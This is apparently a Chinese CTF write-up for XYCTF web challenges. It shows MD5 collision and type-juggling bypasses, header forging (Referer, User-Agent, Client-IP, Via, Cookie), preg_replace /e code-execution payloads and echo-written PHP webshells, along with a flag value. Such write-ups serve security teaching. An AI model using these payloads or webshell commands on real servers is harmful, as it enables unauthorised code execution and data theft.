ezmd5
这题和之前的文件上传题有点不一样,有两个上传,先传入一句话木马,回显只能jpg,加GIF89a也不行,试到最后发现会检查jpg16进制文件头,但回显得页面很明显让传入的两个图片的MD5值相同
那么网上搜搜,感觉自己弄很难构造
传送门


这 2 张图像具有相同的 md5 哈希值:253dd04e87492e4fc3471de5e776bc3d

ezhttp
先看源码,注释说为了防止忘记密码,我把它们放在某个地方了
就不dirsearch了,直接搜常用的robots.txt
进入/l0g1n.txt
拿到账号密码
回到主页登录
不是 yuanshen.com 来的我不要
referer头改为yuanshen.com
你用的不是XYCTF的浏览器
ua头改为XYCTF
非本地用户禁止访问
添加x-forwarded-for:127.0.0.1
- xff 打咩!!!
xff头不许用
试了几个
换为client-ip:127.0.0.1
- 不是从 ymzx.qq.com 代理来的我不玩
via: ymzx.qq.com
- 有点饿,想吃点XYCTF的小饼干
Cookie: XYCTF

warm up
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php include 'next.php'; highlight_file(__FILE__); $XYCTF = "Warm up"; extract($_GET);
if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) { echo "ez" . "<br>"; } else { die("什么情况,这么基础的md5做不来"); }
if (isset($md5) && $md5 == md5($md5)) { echo "ezez" . "<br>"; } else { die("什么情况,这么基础的md5做不来"); }
if ($XY == $XYCTF) { if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) { echo $level2; } else { die("什么情况,这么基础的md5做不来"); } } else { die("学这么久,传参不会传?"); }
|
第一个if用数组绕过
第二个if,MD5怎么来的看extract($_GET)函数
理解为get输入变量md5
关于$md5 == md5($md5)
0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
1
| ?val1[]=1&val2[]=2&md5=0e215962017
|
第三个if
因为extract()函数,我们可以构造我们的参数
弱比较绕过
1
| ?val1[]=1&val2[]=2&md5=0e215962017&XY=QNKCDZO&XYCTF=QNKCDZO
|
进入LLeeevvveeelll222.php
这里preg_replace有个漏洞可以命令执行
传送门
payload
1 2 3
| ?a=/(.*)/ei&b=strtolower("\\\1")&c={${phpinfo()}} POST a[]=
|
这里转义符闹麻了
1
| ?a=/(.*)/ei&b=strtolower("\\\1")&c={${system(ls)}}
|
这里也是单引号双引号都不能用
只能先无参rce
1 2
| ?a=/(.*)/ei&b=strtolower("\\\1")&c={${show_source(session_id(session_start()))}} cookie: PHPSESSID=/flag
|
ezmake
输入命令,先尝试下常用的命令哪个可以用

发现echo命令可以正常使用
利用echo写一个一句话木马到文件中
post用不了不知道为啥
只能一句句爆了
1
| echo '<?php eval(system("ls"))?>' >1.php
|
进入路径1.php
禁用了斜杠,还好flag不在根目录中
1 2
| echo '<?php eval(system("cat flag"))?>' >1.php //XYCTF{9b6e85c1-e504-4dd9-884a-b07481eb59cf}
|
这题预期解应该是用$SHELL来拿到flag内容
